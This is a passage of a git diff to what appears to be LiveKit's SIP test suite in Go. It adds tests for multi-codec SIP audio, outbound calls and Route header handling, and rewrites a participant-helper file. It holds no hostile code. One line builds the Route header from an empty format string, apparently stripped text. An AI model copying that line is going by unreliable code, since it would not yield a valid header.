meta, map[string]string{ + customAttr: customVal, + }) + + ctx, cancel := context.WithTimeout(context.Background(), participantsJoinTimeout) + defer cancel() + + // runClient waits for SIP to completely dial, but this won't happen until we connect + // another participant to that room. + // So we have to monitor rooms separately and connect participant as soon as there's a room with our prefix. + rch := make(chan *livekit.Room, 1) + go func() { + defer close(rch) + room := lk.ExpectRoomPref(t, ctx, roomPref, clientNumber, false) + lk.ConnectWithAudio(t, room.Name, "test", nil) + rch <- room + }() + + cli := runClient(t, nc, srv.IP, clientID, clientNumber, false, nil, nil, nil, nil) + + // Send audio, so that we don't trigger media timeout. + mctx, mcancel := context.WithCancel(context.Background()) + defer mcancel() + go cli.SendSilence(mctx) + + // Room should be created automatically with exact prefix containing phone number. + // SIP participant should be visible and have a proper kind. + select { + case <-ctx.Done(): + t.Fatal("cannot find the room") + case room := <-rch: + lk.ExpectParticipants(t, ctx, room.Name, []lktest.ParticipantInfo{ + { + Identity: "test", + Kind: livekit.ParticipantInfo_STANDARD, + }, + { + Identity: "sip_" + clientNumber, + Name: "Phone " + clientNumber, + Kind: livekit.ParticipantInfo_SIP, + Metadata: meta, + Attributes: map[string]string{ + "sip.callID": lktest.AttrTestAny, // special case + "sip.callStatus": "active", + "sip.trunkPhoneNumber": serverNumber, + "sip.phoneNumber": clientNumber, + "sip.ruleID": nc.RuleID, + "sip.trunkID": nc.TrunkID, + "lktest.id": clientID, + customAttr: customVal, + }, + }, + }) + } +} + +func TestSIPAudio(t *testing.T) { + for _, codec := range []string{ + g711.ULawSDPNameAndRate, + g722.SDPNameAndRate, + } { + codec := codec + t.Run(codec, func(t *testing.T) { + for _, N := range []int{2, 3} { + N := N + t.Run(fmt.Sprintf("%d clients", N), func(t *testing.T) { + lk := runLiveKit(t) + srv := runSIPServer(t, lk) + + const ( + roomName = "test-open" + meta = `{"test":true}` + customAttr = "my.attr" + customVal = "custom" + ) + nc := srv.CreateTrunkAndDirect(t, &livekit.SIPInboundTrunkInfo{ + Numbers: []string{serverNumber}, + }, roomName, "", meta, map[string]string{ + customAttr: customVal, + }) + + // Connect clients and wait for them to join. + var ( + wg sync.WaitGroup + mu sync.Mutex + clients = make([]*siptest.Client, N) + audios = make([]lktest.AudioParticipant, N) + ) + for i := 0; i < N; i++ { + codec := codec + if i == 0 { + // Make first client always use the same codec. + // This way we can see how different codecs interact. + codec = g711.ULawSDPNameAndRate + } + wg.Add(1) + go func() { + defer wg.Done() + cli := runClientWithCodec(t, nc, srv.IP, strconv.Itoa(i+1), fmt.Sprintf("+%d", 111111111*(i+1)), codec, false, nil, nil, nil, nil) + mu.Lock() + clients[i] = cli + audios[i] = cli + mu.Unlock() + }() + } + wg.Wait() + t.Log("Participants dialed") + ctx, cancel := context.WithTimeout(context.Background(), participantsJoinTimeout*time.Duration(N)) + defer cancel() + var exp []lktest.ParticipantInfo + for i := range clients { + exp = append(exp, lktest.ParticipantInfo{ + Identity: fmt.Sprintf("sip_+%d", 111111111*(i+1)), + Name: fmt.Sprintf("Phone +%d", 111111111*(i+1)), + Kind: livekit.ParticipantInfo_SIP, + Metadata: meta, + Attributes: map[string]string{ + "sip.callID": lktest.AttrTestAny, // special case + "sip.callStatus": "active", + "sip.trunkPhoneNumber": serverNumber, + "sip.phoneNumber": fmt.Sprintf("+%d", 111111111*(i+1)), + "sip.ruleID": nc.RuleID, + "sip.trunkID": nc.TrunkID, + "lktest.id": strconv.Itoa(i + 1), + customAttr: customVal, + }, + }) + } + lk.ExpectRoomWithParticipants(t, ctx, roomName, exp) + t.Log("Participants join confirmed, testing audio") + + ctx, cancel = context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + lktest.CheckAudioForParticipants(t, ctx, audios...) + cancel() + + t.Log("Success, cleaning up") + + // Stop everything and ensure the room is empty afterward. + for _, cli := range clients { + wg.Add(1) + go func() { + defer wg.Done() + cli.Close() + }() + } + wg.Wait() + + ctx, cancel = context.WithTimeout(context.Background(), participantsLeaveTimeout) + defer cancel() + lk.ExpectRoomWithParticipants(t, ctx, roomName, nil) + }) + } + }) + } +} + +func TestSIPOutbound(t *testing.T) { + // Run two LK and SIP servers and make a SIP call from one to the other. + lkOut := runLiveKit(t) + lkIn := runLiveKit(t) + srvOut := runSIPServer(t, lkOut) + srvIn := runSIPServer(t, lkIn) + + const ( + roomIn = "inbound" + userName = "test-user" + userPass = "test-pass" + roomPin = "*1234" + meta = `{"test":true}` + ) + + for _, tr := range []livekit.SIPTransport{ + livekit.SIPTransport_SIP_TRANSPORT_UDP, + livekit.SIPTransport_SIP_TRANSPORT_TCP, + } { + t.Run(tr.String(), func(t *testing.T) { + for _, withPin := range []bool{true, false} { + name := "pin" + if !withPin { + name = "open" + } + t.Run(name, func(t *testing.T) { + headersIn := map[string]string{ + "X-LK-From-1": "inbound", + } + roomPin := roomPin + if withPin { + // We cannot set headers because of the PIN. See TestSIPJoinPinRoom for details. + delete(headersIn, "X-LK-From-1") + } else { + roomPin = "" + } + // Configure Trunk for inbound server. + trunkIn := srvIn.CreateTrunkIn(t, &livekit.SIPInboundTrunkInfo{ + Name: "Test In", + Numbers: []string{serverNumber}, + AuthUsername: userName, + AuthPassword: userPass, + Headers: headersIn, + HeadersToAttributes: map[string]string{ + "X-LK-From-2": "test.lk.from", + }, + }) + t.Cleanup(func() { + srvIn.DeleteTrunk(t, trunkIn) + }) + ruleIn := srvIn.CreateDirectDispatch(t, roomIn, roomPin, meta, nil) + t.Cleanup(func() { + srvIn.DeleteDispatch(t, ruleIn) + }) + + // Configure Trunk for outbound server and make a SIP call. + trunkOut := srvOut.CreateTrunkOut(t, &livekit.SIPOutboundTrunkInfo{ + Name: "Test Out", + Numbers: []string{clientNumber}, + Address: srvIn.Address, + Transport: tr, + AuthUsername: userName, + AuthPassword: userPass, + Headers: map[string]string{ + "X-LK-From-2": "outbound", + }, + HeadersToAttributes: map[string]string{ + "X-LK-From-1": "test.lk.from", + }, + }) + t.Cleanup(func() { + srvOut.DeleteTrunk(t, trunkOut) + }) + + ctx, cancel := context.WithTimeout(context.Background(), time.Minute) + defer cancel() + + expAttrsIn := map[string]string{ + "test.lk.from": "outbound", + } + expAttrsOut := map[string]string{ + "test.lk.from": "inbound", + } + if withPin { + delete(expAttrsOut, "test.lk.from") + } + // Run the test twice to make sure participants with the same identities can be re-created. + for i := 0; i < 2; i++ { + // Running sub test here is important, because TestSIPOutbound registers Cleanup funcs. + t.Run(fmt.Sprintf("run %d", i+1), func(t *testing.T) { + lktest.TestSIPOutbound(t, ctx, lkOut.LiveKit, lkIn.LiveKit, lktest.SIPOutboundTestParams{ + TrunkOut: trunkOut, + RoomOut: "outbound", + TrunkIn: trunkIn, + RuleIn: ruleIn, + AttrsIn: expAttrsIn, + AttrsOut: expAttrsOut, + }) + }) + } + }) + } + }) + } +} + +func TestSIPOutboundRouteHeader(t *testing.T) { + // Test that when a Route header is specified in CreateSIPParticipant request, + // the SIP message is sent to the route header target instead of the request URI. + + // Set up two LiveKit servers and SIP servers + lkOut := runLiveKit(t) + lkIn := runLiveKit(t) + srvOut := runSIPServer(t, lkOut) + srvIn := runSIPServer(t, lkIn) + + const ( + roomIn = "inbound" + userName = "test-user" + userPass = "test-pass" + meta = `{"test":true}` + ) + + // Configure Trunk for inbound server + trunkIn := srvIn.CreateTrunkIn(t, &livekit.SIPInboundTrunkInfo{ + Name: "Test In", + Numbers: []string{serverNumber}, + AuthUsername: userName, + AuthPassword: userPass, + }) + t.Cleanup(func() { + srvIn.DeleteTrunk(t, trunkIn) + }) + + ruleIn := srvIn.CreateDirectDispatch(t, roomIn, "", meta, nil) + t.Cleanup(func() { + srvIn.DeleteDispatch(t, ruleIn) + }) + + // Create a mock SIP server that will receive the route header target + // This server should be different from the request URI + routeTarget := "127.0.0.1:5061" // Different from srvIn.Address + + // Set up a mock SIP server to capture the route header target + // We'll create a simple UDP server that can receive and log the SIP message + routeServer, err := net.ListenPacket("udp", routeTarget) + require.NoError(t, err) + defer routeServer.Close() + + // Channel to capture received messages + receivedMessages := make(chan string, 10) + + // Start a goroutine to listen for messages on the route target + go func() { + buffer := make([]byte, 1024) + for { + n, addr, err := routeServer.ReadFrom(buffer) + if err != nil { + return + } + message := string(buffer[:n]) + receivedMessages <- message + t.Logf("Route server received message from %s: %s", addr, message) + } + }() + + // Configure Trunk for outbound server with the request URI (different from route target) + trunkOut := srvOut.CreateTrunkOut(t, &livekit.SIPOutboundTrunkInfo{ + Name: "Test Out", + Numbers: []string{clientNumber}, + Address: srvIn.Address, // This will be the request URI + Transport: livekit.SIPTransport_SIP_TRANSPORT_UDP, + AuthUsername: userName, + AuthPassword: userPass, + }) + t.Cleanup(func() { + srvOut.DeleteTrunk(t, trunkOut) + }) + + // Create the outbound SIP participant with a Route header + // The Route header should point to a different destination than the request URI + routeHeader := fmt.Sprintf("", routeTarget) + + // Create the SIP participant with the Route header + // We need to pass the Route header in the headers map + headers := map[string]string{ + "Route": routeHeader, + } + + // Create the outbound SIP participant with the Route header + t.Logf("Testing Route header: %s", routeHeader) + t.Logf("Request URI target: %s", srvIn.Address) + t.Logf("Route header target: %s", routeTarget) + + // Create the outbound SIP participant + r := lkOut.CreateSIPParticipant(t, &livekit.CreateSIPParticipantRequest{ + SipTrunkId: trunkOut, + SipCallTo: serverNumber, + RoomName: "outbound", + ParticipantIdentity: "siptest_outbound", + ParticipantName: "Outbound Call", + ParticipantMetadata: `{"test":true, "dir": "out"}`, + Headers: headers, // This is the key - passing the Route header + }) + t.Logf("outbound call ID: %s", r.SipCallId) + + // Wait a bit to see if any messages are received on the route target + select { + case msg := <-receivedMessages: + t.Logf("Received message on route target: %s", msg) + // If we receive a message, it means the Route header is working + require.Contains(t, msg, "INVITE", "Should receive INVITE message on route target") + t.Log("SUCCESS: Route header is working - message was sent to route target instead of request URI") + case <-time.After(10 * time.Second): + t.Fatal("No message received on route target within timeout - Route header processing is not working correctly") + } +} diff --git a/test/lktest/livekit.go b/test/lktest/livekit.go index acef032d9..7279620b1 100644 --- a/test/lktest/livekit.go +++ b/test/lktest/livekit.go @@ -1,565 +1,565 @@ -// Copyright 2024 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package lktest - -import ( - "context" - "fmt" - "io" - "maps" - "math" - "slices" - "strings" - "sync" - "time" - - "github.com/pion/webrtc/v4" - "github.com/stretchr/testify/require" - - msdk "github.com/livekit/media-sdk" - "github.com/livekit/media-sdk/rtp" - webmm "github.com/livekit/media-sdk/webm" - "github.com/livekit/protocol/livekit" - "github.com/livekit/protocol/logger" - lksdk "github.com/livekit/server-sdk-go/v2" - - "github.com/livekit/media-sdk/mixer" - "github.com/livekit/sip/pkg/audiotest" - "github.com/livekit/sip/pkg/media/opus" -) - -const ( - channels = 1 - RoomSampleRate = 48000 -) - -func New(wsURL, apiKey, apiSecret string) *LiveKit { - lk := &LiveKit{ - ApiKey: apiKey, - ApiSecret: apiSecret, - WsUrl: wsURL, - } - lk.Rooms = lksdk.NewRoomServiceClient(lk.WsUrl, lk.ApiKey, lk.ApiSecret) - lk.SIP = lksdk.NewSIPClient(lk.WsUrl, lk.ApiKey, lk.ApiSecret) - return lk -} - -type LiveKit struct { - Rooms *lksdk.RoomServiceClient - SIP *lksdk.SIPClient - ApiKey string - ApiSecret string - WsUrl string -} - -func (lk *LiveKit) ListRooms(t TB) []*livekit.Room { - resp, err := lk.Rooms.ListRooms(context.Background(), &livekit.ListRoomsRequest{}) - if err != nil { - t.Fatal(err) - } - return resp.Rooms -} - -func (lk *LiveKit) RoomParticipants(t TB, room string) []*livekit.ParticipantInfo { - resp, err := lk.Rooms.ListParticipants(context.Background(), &livekit.ListParticipantsRequest{Room: room}) - if err != nil { - t.Fatal(err) - } - return resp.Participants -} - -func (lk *LiveKit) CreateSIPParticipant(t TB, req *livekit.CreateSIPParticipantRequest) *livekit.SIPParticipantInfo { - r, err := lk.SIP.CreateSIPParticipant(context.Background(), req) - if err != nil { - t.Fatal(err) - } - // Make sure we delete outbound SIP participant. - // Some tests may reuse LK server, in which case the participant could stay in a room for a long time. - t.Cleanup(func() { - _, _ = lk.Rooms.RemoveParticipant(context.Background(), &livekit.RoomParticipantIdentity{ - Room: req.RoomName, Identity: r.ParticipantIdentity, - }) - }) - return r -} - -func (lk *LiveKit) CreateSIPParticipantSync(t TB, req *livekit.CreateSIPParticipantRequest) (*livekit.SIPParticipantInfo, error) { - req.WaitUntilAnswered = true - r, err := lk.SIP.CreateSIPParticipant(context.Background(), req) - if err == nil { - // Make sure we delete outbound SIP participant. - // Some tests may reuse LK server, in which case the participant could stay in a room for a long time. - t.Cleanup(func() { - _, _ = lk.Rooms.RemoveParticipant(context.Background(), &livekit.RoomParticipantIdentity{ - Room: req.RoomName, Identity: r.ParticipantIdentity, - }) - }) - } - if e := lksdk.SIPStatusFrom(err); e != nil { - err = e - } - return r, err -} - -func (lk *LiveKit) Connect(t TB, room, identity string, cb *lksdk.RoomCallback) *lksdk.Room { - r := lksdk.NewRoom(cb) - // faster connection timeout since they should be in the same DC - err := r.Join(lk.WsUrl, lksdk.ConnectInfo{ - APIKey: lk.ApiKey, - APISecret: lk.ApiSecret, - RoomName: room, - ParticipantIdentity: identity, - }, lksdk.WithConnectTimeout(1*time.Second)) - if err != nil { - t.Fatal(err) - } - t.Cleanup(r.Disconnect) - return r -} - -func (lk *LiveKit) ConnectWithAudio(t TB, room, identity string, cb *lksdk.RoomCallback) *lksdk.Room { - r := lk.Connect(t, room, identity, cb) - track, err := webrtc.NewTrackLocalStaticSample(webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeOpus}, "audio", "pion") - if err != nil { - t.Fatal(err) - } - p := r.LocalParticipant - if _, err = p.PublishTrack(track, &lksdk.TrackPublicationOptions{ - Name: p.Identity(), - }); err != nil { - t.Fatal(err) - } - stop := make(chan struct{}) - t.Cleanup(func() { - close(stop) - }) - // We don't care about real audio, just let SIP subscribe to something. - go func() { - ticker := time.NewTicker(msdk.DefFrameDur) - defer ticker.Stop() - for { - select { - case <-stop: - return - case <-ticker.C: - } - _ = track.GeneratePadding(1) - } - }() - return r -} - -type RoomParticipantCallback struct { - lksdk.RoomCallback - OnSIPStatus func(p *lksdk.RemoteParticipant, callID string, status string) -} - -func (lk *LiveKit) ConnectParticipant(t TB, room, identity string, cb *RoomParticipantCallback) *Participant { - var origCB lksdk.RoomCallback - if cb == nil { - cb = new(RoomParticipantCallback) - } else { - origCB = cb.RoomCallback - } - p := &Participant{t: t} - pr, pw := msdk.Pipe[msdk.PCM16Sample](RoomSampleRate) - t.Cleanup(func() { - pw.Close() - pr.Close() - }) - p.AudioIn = pr - - var err error - p.mixIn, err = mixer.NewMixer(pw, rtp.DefFrameDur, 1, mixer.WithOutputChannel()) - if err != nil { - t.Fatal(err) - } - - cb.OnTrackPublished = func(pub *lksdk.RemoteTrackPublication, rp *lksdk.RemoteParticipant) { - if pub.Kind() == lksdk.TrackKindAudio { - if err := pub.SetSubscribed(true); err != nil { - t.Error("cannot subscribe to the track", pub.SID(), err) - } - } - if origCB.OnTrackPublished != nil { - origCB.OnTrackPublished(pub, rp) - } - } - cb.OnTrackSubscribed = func(track *webrtc.TrackRemote, pub *lksdk.RemoteTrackPublication, rp *lksdk.RemoteParticipant) { - inp := p.mixIn.NewInput() - defer inp.Close() - - codec, err := opus.Decode(inp, channels, logger.NewTestLogger(t)) - if err != nil { - return - } - defer codec.Close() - - h := rtp.NewNopCloser(rtp.NewMediaStreamIn(codec)) - _ = rtp.HandleLoop(track, h) - } - cb.OnParticipantConnected = func(p *lksdk.RemoteParticipant) { - if origCB.OnParticipantConnected != nil { - origCB.OnParticipantConnected(p) - } - switch p.Kind() { - case lksdk.ParticipantSIP: - if cb.OnSIPStatus != nil { - callID := p.Attributes()[livekit.AttrSIPCallID] - status := p.Attributes()[livekit.AttrSIPCallStatus] - cb.OnSIPStatus(p, callID, status) - } - } - } - cb.OnParticipantDisconnected = func(p *lksdk.RemoteParticipant) { - if origCB.OnParticipantDisconnected != nil { - origCB.OnParticipantDisconnected(p) - } - switch p.Kind() { - case lksdk.ParticipantSIP: - if cb.OnSIPStatus != nil { - callID := p.Attributes()[livekit.AttrSIPCallID] - status := p.Attributes()[livekit.AttrSIPCallStatus] - if status == "" { - status = "disconnect-unk" - } - cb.OnSIPStatus(p, callID, status) - } - } - } - cb.OnAttributesChanged = func(changed map[string]string, p lksdk.Participant) { - if origCB.OnAttributesChanged != nil { - origCB.OnAttributesChanged(changed, p) - } - switch p.Kind() { - case lksdk.ParticipantSIP: - rp, _ := p.(*lksdk.RemoteParticipant) - if rp != nil && cb.OnSIPStatus != nil { - callID := p.Attributes()[livekit.AttrSIPCallID] - status := p.Attributes()[livekit.AttrSIPCallStatus] - cb.OnSIPStatus(rp, callID, status) - } - } - } - p.Room = lk.Connect(t, room, identity, &cb.RoomCallback) - for _, rp := range p.Room.GetRemoteParticipants() { - for _, pub := range rp.TrackPublications() { - cb.ParticipantCallback.OnTrackPublished(pub.(*lksdk.RemoteTrackPublication), rp) - } - } - track, err := p.newAudioTrack() - if err != nil { - t.Fatal(err) - } - // This allows us to send silence when there's no audio generated from the test. - p.mixOut, err = mixer.NewMixer(track, rtp.DefFrameDur, 1, mixer.WithOutputChannel()) - if err != nil { - t.Fatal(err) - } - p.AudioOut = p.mixOut.NewInput() - return p -} - -type Participant struct { - t TB - mixIn *mixer.Mixer - mixOut *mixer.Mixer - - Room *lksdk.Room - AudioOut msdk.Writer[msdk.PCM16Sample] - AudioIn msdk.Reader[msdk.PCM16Sample] -} - -func (p *Participant) newAudioTrack() (msdk.Writer[msdk.PCM16Sample], error) { - track, err := webrtc.NewTrackLocalStaticSample(webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeOpus}, "audio", "pion") - if err != nil { - return nil, err - } - pt := p.Room.LocalParticipant - if _, err = pt.PublishTrack(track, &lksdk.TrackPublicationOptions{ - Name: pt.Identity(), - }); err != nil { - return nil, err - } - ow := msdk.FromSampleWriter[opus.Sample](track, RoomSampleRate, rtp.DefFrameDur) - pw, err := opus.Encode(ow, channels, logger.NewTestLogger(p.t)) - if err != nil { - return nil, err - } - return pw, nil -} - -const ( - signalAmp = math.MaxInt16 / 4 - signalAmpMin = signalAmp - signalAmp/4 // TODO: why it's so low? - signalAmpMax = signalAmp + signalAmp/10 -) - -func (p *Participant) SendSignal(ctx context.Context, n int, val int) error { - // Code below assumes a round number of RTP frames fit into 1 sec. - var _ = [1]struct{}{}[time.Second%rtp.DefFrameDur] - - const framesPerSec = int(time.Second / rtp.DefFrameDur) - signal := make(msdk.PCM16Sample, RoomSampleRate/framesPerSec) - audiotest.GenSignal(signal, []audiotest.Wave{{Ind: val, Amp: signalAmp}}) - sid, id := p.Room.LocalParticipant.SID(), p.Room.LocalParticipant.Identity() - p.t.Log("sending signal", "sid", sid, "id", id, "len", len(signal), "n", n, "sig", val) - - ticker := time.NewTicker(rtp.DefFrameDur) - defer ticker.Stop() - for i := 0; n <= 0 || i < n; i++ { - select { - case <-ctx.Done(): - if n <= 0 { - p.t.Log("stopping signal", "sid", sid, "id", id, "n", i, "sig", val) - return nil - } - return ctx.Err() - case <-ticker.C: - } - - if err := p.AudioOut.WriteSample(signal); err != nil { - return err - } - } - return nil -} - -func (p *Participant) WaitSignals(ctx context.Context, vals []int, w io.WriteCloser) error { - var ws msdk.PCM16Writer - if w != nil { - ws = webmm.NewPCM16Writer(w, RoomSampleRate, 1, rtp.DefFrameDur) - defer ws.Close() - } - lastLog := time.Now() - - // Code below assumes a round number of RTP frames fit into 1 sec. - var _ = [1]struct{}{}[time.Second%rtp.DefFrameDur] - - const framesPerSec = int(time.Second / rtp.DefFrameDur) - buf := make(msdk.PCM16Sample, RoomSampleRate/framesPerSec) - sid, id := p.Room.LocalParticipant.SID(), p.Room.LocalParticipant.Identity() - for { - n, err := p.AudioIn.ReadSample(buf) - if err != nil { - p.t.Log("cannot read rtp packet", "err", err) - return err - } - decoded := buf[:n] - select { - case <-ctx.Done(): - return ctx.Err() - default: - } - - if ws != nil { - if err = ws.WriteSample(decoded); err != nil { - return err - } - } - if !slices.ContainsFunc(decoded, func(v int16) bool { return v != 0 }) { - continue // Ignore silence. - } - out := audiotest.FindSignal(decoded) - if len(out) >= len(vals) { - // Only consider first N strongest signals. - out = out[:len(vals)] - // Sort them again by index, so it's easier to compare. - slices.SortFunc(out, func(a, b audiotest.Wave) int { - return a.Ind - b.Ind - }) - ok := true - for i := range vals { - // All signals must match the frequency and have around the same amplitude. - if out[i].Ind != vals[i] || out[i].Amp < signalAmpMin || out[i].Amp > signalAmpMax { - ok = false - break - } - } - if ok { - p.t.Log("signal found", "sid", sid, "id", id, "sig", vals) - return nil - } - } - // Remove most other components from the logs. - if len(out) > len(vals)*2 { - out = out[:len(vals)*2] - } - if time.Since(lastLog) > time.Second { - lastLog = time.Now() - p.t.Log("skipping signal", "sid", sid, "id", id, "len", len(decoded), "signals", out) - } - } -} - -func (p *Participant) SendDTMF(ctx context.Context, digits string) error { - return p.Room.LocalParticipant.PublishDataPacket( - &livekit.SipDTMF{Digit: digits}, - lksdk.WithDataPublishReliable(true), - ) -} - -func (p *Participant) WaitDTMF(ctx context.Context, digits string) error { - l := p.Room.LocalParticipant - old := l.Callback.OnDataPacket - defer func() { - l.Callback.OnDataPacket = old - }() - var ( - done = make(chan struct{}) - mu sync.Mutex - got string - ) - l.Callback.OnDataPacket = func(data lksdk.DataPacket, params lksdk.DataReceiveParams) { - switch data := data.(type) { - case *livekit.SipDTMF: - mu.Lock() - got += data.Digit - cur := got - mu.Unlock() - if cur == digits { - close(done) - } - } - } - select { - case <-ctx.Done(): - return ctx.Err() - case <-done: - return nil - } -} - -type ParticipantInfo struct { - Identity string - Name string - Kind livekit.ParticipantInfo_Kind - Metadata string - Attributes map[string]string -} - -func compareParticipants(t TB, exp *ParticipantInfo, got *livekit.ParticipantInfo) error { - require.Equal(t, exp.Identity, got.Identity, "unexpected participant identity") - require.Equal(t, exp.Kind, got.Kind) - if exp.Name != "" { - require.Equal(t, exp.Name, got.Name, "unexpected participant name") - } - require.Equal(t, exp.Metadata, got.Metadata, "unexpected participant metadata") - expAttrs, gotAttrs := exp.Attributes, got.Attributes - expAttrs, gotAttrs = checkSIPAttrs(t, expAttrs, gotAttrs) - if !maps.Equal(expAttrs, gotAttrs) { - return fmt.Errorf("unexpected participant attributes: exp %#v, got %#v", expAttrs, gotAttrs) - } - return nil -} - -func (lk *LiveKit) ExpectParticipants(t TB, ctx context.Context, room string, participants []ParticipantInfo) []*livekit.ParticipantInfo { - slices.SortFunc(participants, func(a, b ParticipantInfo) int { - return strings.Compare(a.Identity, b.Identity) - }) - ticker := time.NewTicker(time.Second / 4) - defer ticker.Stop() -wait: - for { - list := lk.RoomParticipants(t, room) - if len(list) != len(participants) { - select { - case <-ctx.Done(): - require.Len(t, list, len(participants), "timeout waiting for participants") - return nil - case <-ticker.C: - continue wait - } - } - slices.SortFunc(list, func(a, b *livekit.ParticipantInfo) int { - return strings.Compare(a.Identity, b.Identity) - }) - for i := range participants { - err := compareParticipants(t, &participants[i], list[i]) - if err != nil { - select { - case <-ctx.Done(): - require.NoError(t, err) - return nil - case <-ticker.C: - continue wait - } - } - } - return list // all good - } -} - -func (lk *LiveKit) waitRooms(t TB, ctx context.Context, none bool, filter func(r *livekit.Room) bool) []*livekit.Room { - var rooms []*livekit.Room - ticker := time.NewTicker(time.Second / 4) - defer ticker.Stop() - for { - rooms = lk.ListRooms(t) - if filter != nil { - var out []*livekit.Room - for _, r := range rooms { - if filter(r) { - out = append(out, r) - } - } - rooms = out - } - if !none { - if len(rooms) >= 1 { - return rooms - } - } else { - if len(rooms) == 0 { - return rooms - } - } - select { - case <-ctx.Done(): - return rooms - case <-ticker.C: - } - } -} - -func (lk *LiveKit) ExpectRoomWithParticipants(t TB, ctx context.Context, room string, participants []ParticipantInfo) []*livekit.ParticipantInfo { - filter := func(r *livekit.Room) bool { - return r.Name == room - } - rooms := lk.waitRooms(t, ctx, len(participants) == 0, filter) - if len(participants) == 0 && len(rooms) == 0 { - return nil - } - require.Len(t, rooms, 1) - require.True(t, filter(rooms[0])) - - return lk.ExpectParticipants(t, ctx, room, participants) -} - -func (lk *LiveKit) ExpectRoomPref(t TB, ctx context.Context, pref, number string, none bool) *livekit.Room { - filter := func(r *livekit.Room) bool { - return r.Name != pref && strings.HasPrefix(r.Name, pref+"_"+number+"_") - } - rooms := lk.waitRooms(t, ctx, none, filter) - require.Len(t, rooms, 1) - require.True(t, filter(rooms[0])) - t.Log("Room:", rooms[0].Name) - return rooms[0] -} - -func (lk *LiveKit) ExpectRoomPrefWithParticipants(t TB, ctx context.Context, pref, number string, participants []ParticipantInfo) []*livekit.ParticipantInfo { - room := lk.ExpectRoomPref(t, ctx, pref, number, len(participants) != 0) - return lk.ExpectParticipants(t, ctx, room.Name, participants) -} +// Copyright 2024 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package lktest + +import ( + "context" + "fmt" + "io" + "maps" + "math" + "slices" + "strings" + "sync" + "time" + + "github.com/pion/webrtc/v4" + "github.com/stretchr/testify/require" + + msdk "github.com/livekit/media-sdk" + "github.com/livekit/media-sdk/rtp" + webmm "github.com/livekit/media-sdk/webm" + "github.com/livekit/protocol/livekit" + "github.com/livekit/protocol/logger" + lksdk "github.com/livekit/server-sdk-go/v2" + + "github.com/livekit/media-sdk/mixer" + "github.com/livekit/sip/pkg/audiotest" + "github.com/livekit/sip/pkg/media/opus" +) + +const ( + channels = 1 + RoomSampleRate = 48000 +) + +func New(wsURL, apiKey, apiSecret string) *LiveKit { + lk := &LiveKit{ + ApiKey: apiKey, + ApiSecret: apiSecret, + WsUrl: wsURL, + } + lk.Rooms = lksdk.NewRoomServiceClient(lk.WsUrl, lk.ApiKey, lk.ApiSecret) + lk.SIP = lksdk.NewSIPClient(lk.WsUrl, lk.ApiKey, lk.ApiSecret) + return lk +} + +type LiveKit struct { + Rooms *lksdk.RoomServiceClient + SIP *lksdk.SIPClient + ApiKey string + ApiSecret string + WsUrl string +} + +func (lk *LiveKit) ListRooms(t TB) []*livekit.Room { + resp, err := lk.Rooms.ListRooms(context.Background(), &livekit.ListRoomsRequest{}) + if err != nil { + t.Fatal(err) + } + return resp.Rooms +} + +func (lk *LiveKit) RoomParticipants(t TB, room string) []*livekit.ParticipantInfo { + resp, err := lk.Rooms.ListParticipants(context.Background(), &livekit.ListParticipantsRequest{Room: room}) + if err != nil { + t.Fatal(err) + } + return resp.Participants +} + +func (lk *LiveKit) CreateSIPParticipant(t TB, req *livekit.CreateSIPParticipantRequest) *livekit.SIPParticipantInfo { + r, err := lk.SIP.CreateSIPParticipant(context.Background(), req) + if err != nil { + t.Fatal(err) + } + // Make sure we delete outbound SIP participant. + // Some tests may reuse LK server, in which case the participant could stay in a room for a long time. + t.Cleanup(func() { + _, _ = lk.Rooms.RemoveParticipant(context.Background(), &livekit.RoomParticipantIdentity{ + Room: req.RoomName, Identity: r.ParticipantIdentity, + }) + }) + return r +} + +func (lk *LiveKit) CreateSIPParticipantSync(t TB, req *livekit.CreateSIPParticipantRequest) (*livekit.SIPParticipantInfo, error) { + req.WaitUntilAnswered = true + r, err := lk.SIP.CreateSIPParticipant(context.Background(), req) + if err == nil { + // Make sure we delete outbound SIP participant. + // Some tests may reuse LK server, in which case the participant could stay in a room for a long time. + t.Cleanup(func() { + _, _ = lk.Rooms.RemoveParticipant(context.Background(), &livekit.RoomParticipantIdentity{ + Room: req.RoomName, Identity: r.ParticipantIdentity, + }) + }) + } + if e := lksdk.SIPStatusFrom(err); e != nil { + err = e + } + return r, err +} + +func (lk *LiveKit) Connect(t TB, room, identity string, cb *lksdk.RoomCallback) *lksdk.Room { + r := lksdk.NewRoom(cb) + // faster connection timeout since they should be in the same DC + err := r.Join(lk.WsUrl, lksdk.ConnectInfo{ + APIKey: lk.ApiKey, + APISecret: lk.ApiSecret, + RoomName: room, + ParticipantIdentity: identity, + }, lksdk.WithConnectTimeout(1*time.Second)) + if err != nil { + t.Fatal(err) + } + t.Cleanup(r.Disconnect) + return r +} + +func (lk *LiveKit) ConnectWithAudio(t TB, room, identity string, cb *lksdk.RoomCallback) *lksdk.Room { + r := lk.Connect(t, room, identity, cb) + track, err := webrtc.NewTrackLocalStaticSample(webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeOpus}, "audio", "pion") + if err != nil { + t.Fatal(err) + } + p := r.LocalParticipant + if _, err = p.PublishTrack(track, &lksdk.TrackPublicationOptions{ + Name: p.Identity(), + }); err != nil { + t.Fatal(err) + } + stop := make(chan struct{}) + t.Cleanup(func() { + close(stop) + }) + // We don't care about real audio, just let SIP subscribe to something. + go func() { + ticker := time.NewTicker(msdk.DefFrameDur) + defer ticker.Stop() + for { + select { + case <-stop: + return + case <-ticker.C: + } + _ = track.GeneratePadding(1) + } + }() + return r +} + +type RoomParticipantCallback struct { + lksdk.RoomCallback + OnSIPStatus func(p 